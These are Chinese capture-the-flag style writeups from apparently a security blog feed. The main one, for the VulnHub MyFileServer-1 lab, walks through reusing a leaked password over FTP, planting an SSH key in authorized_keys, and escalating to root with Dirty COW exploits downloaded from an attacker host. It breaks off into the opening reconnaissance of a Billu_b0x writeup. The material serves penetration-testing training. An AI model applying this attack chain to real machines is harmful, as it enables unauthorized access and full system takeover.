&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507110247830.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过目录扫描， 发现了一个 &lt;code&gt;/readme.txt&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;My Password is
rootroot1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这是一个明文存储的密码。结合此前从日志中获取的用户名 &lt;code&gt;smbuser&lt;/code&gt;，以及之前无法访问的 &lt;code&gt;smbuser&lt;/code&gt; 共享目录，下一步可以尝试用该密码访问 SMB 的 &lt;code&gt;smbuser&lt;/code&gt; 目录，或在其他服务上进行凭证验证。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;至此，信息收集阶段基本完成。手头线索汇总：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名：&lt;code&gt;smbuser&lt;/code&gt;（来自 secure 日志）&lt;/li&gt;
&lt;li&gt;密码：&lt;code&gt;rootroot1&lt;/code&gt;（来自 Web 目录 readme.txt）&lt;/li&gt;
&lt;li&gt;SSH 仅支持密钥认证（来自 sshd_config）&lt;/li&gt;
&lt;li&gt;NFS 服务开放（列出文件共享名是smbdata，与之前探测的smb相同）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;h3&gt;2.1 凭证尝试&lt;/h3&gt;
&lt;p&gt;完成信息收集后，手头已有用户名 &lt;code&gt;smbuser&lt;/code&gt; 和密码 &lt;code&gt;rootroot1&lt;/code&gt;，下一步尝试用这组凭证打通各个服务。&lt;/p&gt;
&lt;p&gt;首先尝试 SMB 的 &lt;code&gt;smbdata&lt;/code&gt; 共享目录，依次测试了以下几个组合：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient //192.168.200.158/smbdata -U smbuser
# 尝试密码：chauthtok
# 尝试密码：rootroot1
# 尝试密码：rootroot1（用户 root）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三组均以失败告终。此时回想起 FTP 服务还没有用该凭证尝试过，于是转向 FTP。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260508212219319.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.2 FTP 登录&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;smbuser:rootroot1&lt;/code&gt; 登录 FTP，成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp 192.168.200.158
# Name: smbuser
# Password: rootroot1

ftp&amp;gt; pwd
# Remote directory: /home/smbuser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功以 &lt;code&gt;smbuser&lt;/code&gt; 身份登录，当前目录落在该用户的家目录 &lt;code&gt;/home/smbuser&lt;/code&gt;。这意味着我们可以通过 FTP 向该用户的家目录&lt;strong&gt;写入文件&lt;/strong&gt;，为 SSH 密钥登录创造条件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260508212524242.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 写入 SSH 公钥 GetShell&lt;/h3&gt;
&lt;p&gt;由于前面分析 &lt;code&gt;sshd_config&lt;/code&gt; 已知 SSH 支持公钥认证，且 &lt;code&gt;smbuser&lt;/code&gt; 的家目录可写，思路很清晰：&lt;strong&gt;在本地生成密钥对，通过 FTP 将公钥上传到目标机的 &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;，再用私钥 SSH 登录。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：生成密钥对&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ssh-keygen -f myfileserver
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;-rw------- 1 root root 399 May  7 01:33 myfileserver        # 私钥
-rw-r--r-- 1 root root  91 May  7 01:33 myfileserver.pub    # 公钥
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二步：通过 FTP 上传公钥&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp 192.168.200.158
# 登录 smbuser:rootroot1

ftp&amp;gt; mkdir .ssh
ftp&amp;gt; cd .ssh
ftp&amp;gt; put myfileserver.pub authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507134913524.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：SSH 私钥登录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ssh -i myfileserver smbuser@192.168.200.158
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获取 &lt;code&gt;smbuser&lt;/code&gt; 用户的 Shell，完成初始立足。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507135157008.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;小结&lt;/strong&gt;：SMB 的凭证尝试均失败，但 FTP 服务接受了同一套凭证，且 FTP 对应的是用户家目录，结合 SSH 公钥认证机制，最终通过「上传公钥→私钥登录」的方式完成 GetShell。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权（内核提权详解）&lt;/h1&gt;
&lt;h2&gt;3.1 基础信息收集&lt;/h2&gt;
&lt;p&gt;登录靶机后，首先确认当前用户身份和所在目录，并查看 home 目录下的文件结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver ~]$ pwd
/home/smbuser
[smbuser@fileserver ~]$ ls -liah
total 16K
67585741 drwx------  3 smbuser smbuser  90 May  7 19:11 .
33554618 drwxr-xr-x. 3 root    root     20 Feb 19  2020 ..
67300683 -rw-------  1 smbuser smbuser  39 May  7 19:21 .bash_history
67585742 -rw-r--r--  1 smbuser smbuser  18 Mar  6  2015 .bash_logout
67667769 -rw-r--r--  1 smbuser smbuser 193 Mar  6  2015 .bash_profile
67680642 -rw-r--r--  1 smbuser smbuser 231 Mar  6  2015 .bashrc
  303488 drwxr-xr-x  2 smbuser smbuser  28 May  7 19:12 .ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看当前内核版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
[smbuser@fileserver ~]$ uname -a
Linux fileserver 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[smbuser@fileserver ~]$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;内核版本为 &lt;strong&gt;3.10.0-229&lt;/strong&gt;，发行日期为 2015 年，属于较老版本，存在内核漏洞利用的可能性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 提权信息收集&lt;/h2&gt;
&lt;p&gt;sudo 权限检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver ~]$ sudo -l
[sudo] password for smbuser: 
Sorry, user smbuser may not run sudo on fileserver.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前用户 &lt;code&gt;smbuser&lt;/code&gt; 无任何 sudo 权限，该路径不可用。&lt;/p&gt;
&lt;p&gt;计划任务检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# ...（无自定义任务）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/etc/crontab&lt;/code&gt; 中没有可利用的计划任务。&lt;/p&gt;
&lt;p&gt;SUID 文件枚举&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver ~]$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/staprun
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;枚举到的 SUID 文件均为系统标准程序，没有明显的可利用点。sudo、crontab 等提权思路均已排除，转向&lt;strong&gt;内核漏洞利用&lt;/strong&gt;方向。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.3 内核版本确认与漏洞搜索&lt;/h2&gt;
&lt;p&gt;使用 searchsploit 搜索该内核版本下已知的提权漏洞：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit linux kernel 3.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果过多，缩小范围只看提权类漏洞：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit linux kernel 3.10 | grep &apos;Privilege Escalation&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507200931413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.4 尝试 EXP：50135.c（失败）&lt;/h2&gt;
&lt;p&gt;首先尝试 CVE 编号对应的 Netfilter 本地提权漏洞：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Linux Kernel 2.6.19 &amp;lt; 5.9 - &apos;Netfilter Local Privilege Escalation&apos; | linux/local/50135.c&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;将 exp 下载至靶机 &lt;code&gt;/tmp&lt;/code&gt; 目录后尝试编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver tmp]$ wget &apos;http://192.168.200.142:8081/50135.c&apos;
[smbuser@fileserver tmp]$ gcc 50135.c -o 50135
50135.c:247:57: error: &apos;MSG_COPY&apos; undeclared (first use in this function)
50135.c:264:3: error: &apos;for&apos; loop initial declarations are only allowed in C99 mode
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续尝试其他 exp。由于我们是新手，没有能力去修改exp编译的时候到底出了什么问题。不过在这个阶段，我们需要多尝试，积累经验。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.5 尝试 EXP：45516.c（失败）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver tmp]$ gcc 45516.c -o 45516
45516.c:276:1: error: conflicting types for ‘main’
 main(const int argc, const char * const * const argv, const char * const * const envp)
 ^
45516.c:50:1: note: previous definition of ‘main’ was here
 main(void)
 ^
45516.c: In function ‘main’:
45516.c:283:0: warning: &quot;LLP&quot; redefined [enabled by default]
     #define LLP &quot;LD_LIBRARY_PATH&quot;
 ^
45516.c:59:0: note: this is the location of the previous definition
     #define LLP &quot;LD_LIBRARY_PATH=.&quot;
 ^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样编译失败，exp 中存在重复定义 &lt;code&gt;main&lt;/code&gt; 函数和宏重定义等问题，暂无能力修复，继续寻找其他路径。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.6 使用 linpeas.sh 辅助漏洞发现&lt;/h2&gt;
&lt;p&gt;手动尝试两个 exp 均告失败，引入自动化工具 &lt;code&gt;linpeas.sh&lt;/code&gt; 进行全面的本地提权信息收集。在 Kali 上定位工具路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1]
└─$ find / -name linpeas.sh 2&amp;gt;/dev/null       
/usr/share/peass/linpeas/linpeas.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将脚本传至靶机并执行，重点关注 &lt;strong&gt;Linux Exploit Suggester&lt;/strong&gt; 部分的输出：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507190648724.png&quot; alt=&quot;linpeas.sh运行截图&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2016-5195] dirtycow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;linpeas 明确指出当前内核存在 &lt;strong&gt;CVE-2016-5195（Dirty COW 脏牛漏洞）&lt;/strong&gt;，该漏洞适用于当前内核版本，进入脏牛利用阶段。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.7 Dirty COW 漏洞说明&lt;/h2&gt;
&lt;h4&gt;关键术语解释&lt;/h4&gt;
&lt;p&gt;理解 searchsploit 的搜索结果前，先明确几个核心术语：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dirty COW&lt;/strong&gt;：脏牛漏洞。COW 是 Copy-on-Write（写时复制）的缩写，这是 Linux 内存管理的一种机制，该漏洞正是利用了这一机制中的竞争条件缺陷。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;：权限提升，即从普通用户提升至 root 权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Condition&lt;/strong&gt;：竞争条件，漏洞利用原理是在系统处理并发操作时抢占&quot;时间窗口&quot;触发错误行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;searchsploit 搜索结果&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1/PE]
└─$ searchsploit dirty cow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507140738306.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1]
└─$ searchsploit linux kernel 3 | grep &quot;Dirty COW&quot;
Linux Kernel 2.6.22 &amp;lt; 3.9 (x86/x64) - &apos;Dirty COW /proc/self/mem&apos; Race  | linux/local/40616.c
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW /proc/self/mem&apos; Race Condition  | linux/local/40847.cpp
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW PTRACE_POKEDATA&apos; Race Condition | linux/local/40838.c
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW&apos; &apos;PTRACE_POKEDATA&apos; Race Conditi | linux/local/40839.c
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW&apos; /proc/self/mem Race Condition  | linux/local/40611.c
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;结果分类解析&lt;/h4&gt;
&lt;p&gt;搜索结果按利用方式分为三类：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① Dos 破坏类（路径含 &lt;code&gt;dos/&lt;/code&gt;）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;The Huge Dirty Cow&lt;/code&gt; 系列利用的是对大零页内存的覆盖写入，目的是造成内核崩溃，属于&lt;strong&gt;拒绝服务攻击（Denial of Service）&lt;/strong&gt;，不会产生提权效果。靶机练习中&lt;strong&gt;绝对不要使用&lt;/strong&gt;，会直接导致虚拟机宕机。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② /proc/self/mem 竞争写入类（经典利用方式）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这类 exp 通过 &lt;code&gt;/proc/self/mem&lt;/code&gt;（Linux 中进程访问自身内存的特殊文件接口）触发竞争条件，绕过只读保护强行写入内存。按具体利用手法又细分为三种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Write Access Method&lt;/strong&gt;（&lt;code&gt;40611.c&lt;/code&gt;）：纯概念验证，仅测试能否向只读内存写入，&lt;strong&gt;不会&lt;/strong&gt;产生提权效果，通常用于漏洞确认。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SUID Method&lt;/strong&gt;（&lt;code&gt;40616.c&lt;/code&gt;）：将恶意代码注入系统中带有 SUID 权限的可执行文件，下次运行该程序时以 root 身份执行，从而完成提权。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;/etc/passwd Method&lt;/strong&gt;（&lt;code&gt;40847.cpp&lt;/code&gt;）：&lt;strong&gt;最直接有效的提权方式&lt;/strong&gt;。直接覆写 &lt;code&gt;/etc/passwd&lt;/code&gt;，在其中插入一个自定义的 root 级别账户（通常为 &lt;code&gt;firefart&lt;/code&gt;），之后切换至该账户即获得 root 权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;③ PTRACE_POKEDATA 竞争写入类（补丁绕过版本）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;部分系统管理员针对 &lt;code&gt;/proc/self/mem&lt;/code&gt; 路径打了补丁，这类 exp 改用 &lt;code&gt;ptrace&lt;/code&gt; 调试接口中的 &lt;code&gt;PTRACE_POKEDATA&lt;/code&gt; 功能触发相同的竞争条件，属于对上述漏洞的绕过变体。同样包含 Write Access 验证版和 &lt;code&gt;/etc/passwd&lt;/code&gt; 提权版，利用逻辑与第②类一致，只是底层触发方式不同。&lt;/p&gt;
&lt;h2&gt;3.8 Dirty COW 漏洞利用尝试&lt;/h2&gt;
&lt;h3&gt;下载 EXP 并尝试编译&lt;/h3&gt;
&lt;p&gt;将 &lt;code&gt;40839.c&lt;/code&gt; 从攻击机下载到靶机 &lt;code&gt;/tmp&lt;/code&gt; 目录后，执行默认编译命令，报错如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc 40839.c -o 40839
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译失败，出现两类链接错误：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;a.&lt;code&gt;undefined reference to &apos;crypt&apos;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;40839.c&lt;/code&gt; 在写入新账户时需调用 &lt;code&gt;generate_password_hash()&lt;/code&gt; 对明文密码进行哈希加密，该函数依赖 Linux 系统的 &lt;code&gt;crypt&lt;/code&gt; 加密库，编译时须显式链接，需追加 &lt;code&gt;-lcrypt&lt;/code&gt; 参数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b. &lt;code&gt;undefined reference to &apos;pthread_create&apos;&lt;/code&gt; / &lt;code&gt;pthread_join&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dirty COW 漏洞的核心原理是&lt;strong&gt;竞争条件（Race Condition）&lt;/strong&gt;——需同时开启多个线程，一边持续读取、一边持续写入，以触发内核竞态 Bug。代码依赖 POSIX 多线程库，需追加 &lt;code&gt;-pthread&lt;/code&gt; 参数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正确编译命令：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc 40839.c -o 40839 -pthread -lcrypt
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Linux 惯例：编译成功无任何输出，当前目录生成可执行文件 &lt;code&gt;40839&lt;/code&gt; 即为成功。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;切换 EXP&lt;/h4&gt;
&lt;p&gt;运行 &lt;code&gt;40839&lt;/code&gt; 后 SSH 会话卡死并断开，放弃该 EXP，改用 &lt;code&gt;40616.c&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;编译 &lt;code&gt;40616.c&lt;/code&gt; 时出现警告（非报错），提示 &lt;code&gt;lseek()&lt;/code&gt; 参数类型不匹配，但不影响编译通过：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc 40616.c -o 40616 -pthread
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver tmp]$ gcc 40616.c -o 40616 -pthread
40616.c: In function ‘procselfmemThread’:
40616.c:99:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from 40616.c:28:0:
/usr/include/unistd.h:334:16: note: expected ‘__off_t’ but argument is of type ‘void *’
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3.9 获取 Root Shell&lt;/h2&gt;
&lt;p&gt;执行 &lt;code&gt;40616&lt;/code&gt;，漏洞利用成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[smbuser@fileserver tmp]$ ./40616
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Racing, this may take a while..
thread stopped / thread stopped
/usr/bin/passwd is overwritten
Popping root shell.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该 EXP 的原理是将 &lt;code&gt;/usr/bin/passwd&lt;/code&gt; 二进制文件替换为具有 SUID 权限的 root shell，执行后直接获得 root 提示符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;权限验证：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@fileserver tmp]# whoami
root
[root@fileserver tmp]# id
uid=0(root) gid=1000(smbuser) groups=0(root),1000(smbuser)
[root@fileserver tmp]# hostname
fileserver
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; EXP 提示需在利用完成后将备份文件 &lt;code&gt;/tmp/bak&lt;/code&gt; 还原至 &lt;code&gt;/usr/bin/passwd&lt;/code&gt;，否则系统密码功能将失效。&lt;/p&gt;
&lt;p&gt;执行 &lt;code&gt;ip a&lt;/code&gt; 查询网卡信息时 SSH 连接被重置断开，后续步骤需重新建立连接。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507195143222.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;本次失误：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在基础信息收集阶段，我确实收集到了需要的相关信息。也想到了 &lt;code&gt;smbuser:rootroot1&lt;/code&gt; 的组合，但是只在 smbclient 上尝试了，没有想到去尝试 ftp。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于收集到的日志文件，没有想到查看 ssh_config 文件，也没有读懂 ssh_config 文件中的内容。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不会在 Linux 上创建公私钥并上传。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在提权阶段，没有先尝试用已经获得的凭证去获取 root 密码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;5. 补充（其他提权方法）&lt;/h1&gt;
&lt;p&gt;其实root的密码就是rooroot1，我竟然获得shell后，忘记尝试这个在网页中获得密码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@fileserver ~]# ls
proof.txt
[root@fileserver ~]# cat proof.txt 
Best of Luck
af52e0163b03cbf7c6dd146351594a43
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Vulnhub Billu_b0x WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/billu_b0x/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/billu_b0x/</guid><description>通过 SQL 注入、文件包含漏洞和内核提权完成 Billu_b0x 靶机渗透，涉及代码审计、图片木马制作等技术</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;主要涉及nmap扫描、web渗透、文件包含漏洞利用、php代码审计、sql注入原理、图片木马制作，php反弹shell的使用和url编码技巧。靶机本身不难，但是综合利用还是有很多技巧和思路的。涉及的知识点较多，希望对你渗透技能提升有帮助。想实操的可以学习视频的同时在vulnhub.com下载靶机动手练习。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;靶机IP&lt;/strong&gt;：&lt;code&gt;192.168.200.155 00:0c:29:92:13:2e&lt;/code&gt;（&lt;em&gt;注：实际运行环境中，IP 需根据本地虚拟机的 DHCP 网络环境使用扫描工具确定&lt;/em&gt;）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;靶机网址：&lt;/strong&gt; https://www.vulnhub.com/entry/billu-b0x,188/&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载（镜像）：&lt;/strong&gt; https://download.vulnhub.com/billu/Billu_b0x.zip&lt;/p&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/Billu_b0x_%E6%94%BB%E5%87%BB%E9%93%BE%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on &apos;apache/2.2.22 (ubuntu)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.2 Web渗透&lt;/h2&gt;
&lt;h3&gt;页面信息检索&lt;/h3&gt;
&lt;p&gt;既然在 Nmap 端口扫描的时候，发现目标开放了80端口。我们就去访问一下这台主机的web界面，看一下web界面主页上显示了什么内容，主页提示 &quot;Show me your SQLI skills&quot;，暗示了这台靶机的核心突破点应该和 SQL 注入有关。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260421193235947.png&quot; alt=&quot;网页主页截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右击查看网页源代码进行初步分析：标题是这台靶机的名称，页面上有一个 POST 提交的登录表单，共传递三个参数（用户名、密码，以及一个 &lt;code&gt;login&lt;/code&gt; 动作参数）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260421193410710.png&quot; alt=&quot;主页页面源码截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结合主页关于 SQL 注入的提示，我打算首先尝试使用常见的 SQL 注入万能密钥进行登入绕过，尝试了几种方法，始终无法绕过登入。于是，我在测试的同时开启目录扫描以寻找其他攻击面。&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;p&gt;使用 &lt;strong&gt;dirsearch&lt;/strong&gt; 进行目录扫描，整理出的可用目录及高价值端点如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# === 状态码 200（高利用价值）
http://192.168.200.155/add.php		# 文件上传，sql注入
http://192.168.200.155/head.php		# 应该是 index 页面的头图，就一张图片
http://192.168.200.155/images/		# 存放了三张图片，猜测是文件上传的路径
http://192.168.200.155/in			# phpinfo()页面
http://192.168.200.155/phpmy/		# phpmyadmin 登入界面，测试了几个常见的弱密码，没有成功
http://192.168.200.155/index.php	# 网站主页，post登入框，似乎存在sql注入
http://192.168.200.155/test.php		# 提示：“&apos;file&apos; parameter is empty. Please provide file path in &apos;file&apos; parameter ”，可能有文件包含，但是找不到对应参数

# === 状态码 301/302: 重定向 
http://192.168.200.155/images      -&amp;gt; http://192.168.200.155/images/
http://192.168.200.155/panel       -&amp;gt; http://192.168.200.155/index.php
http://192.168.200.155/panel.php   -&amp;gt; http://192.168.200.155/index.php

# === 状态码 200 （无效）
http://192.168.200.155/c			# 空白页面
http://192.168.200.155/show			# 空白页面
&lt;/code&gt;&lt;/pre&gt;
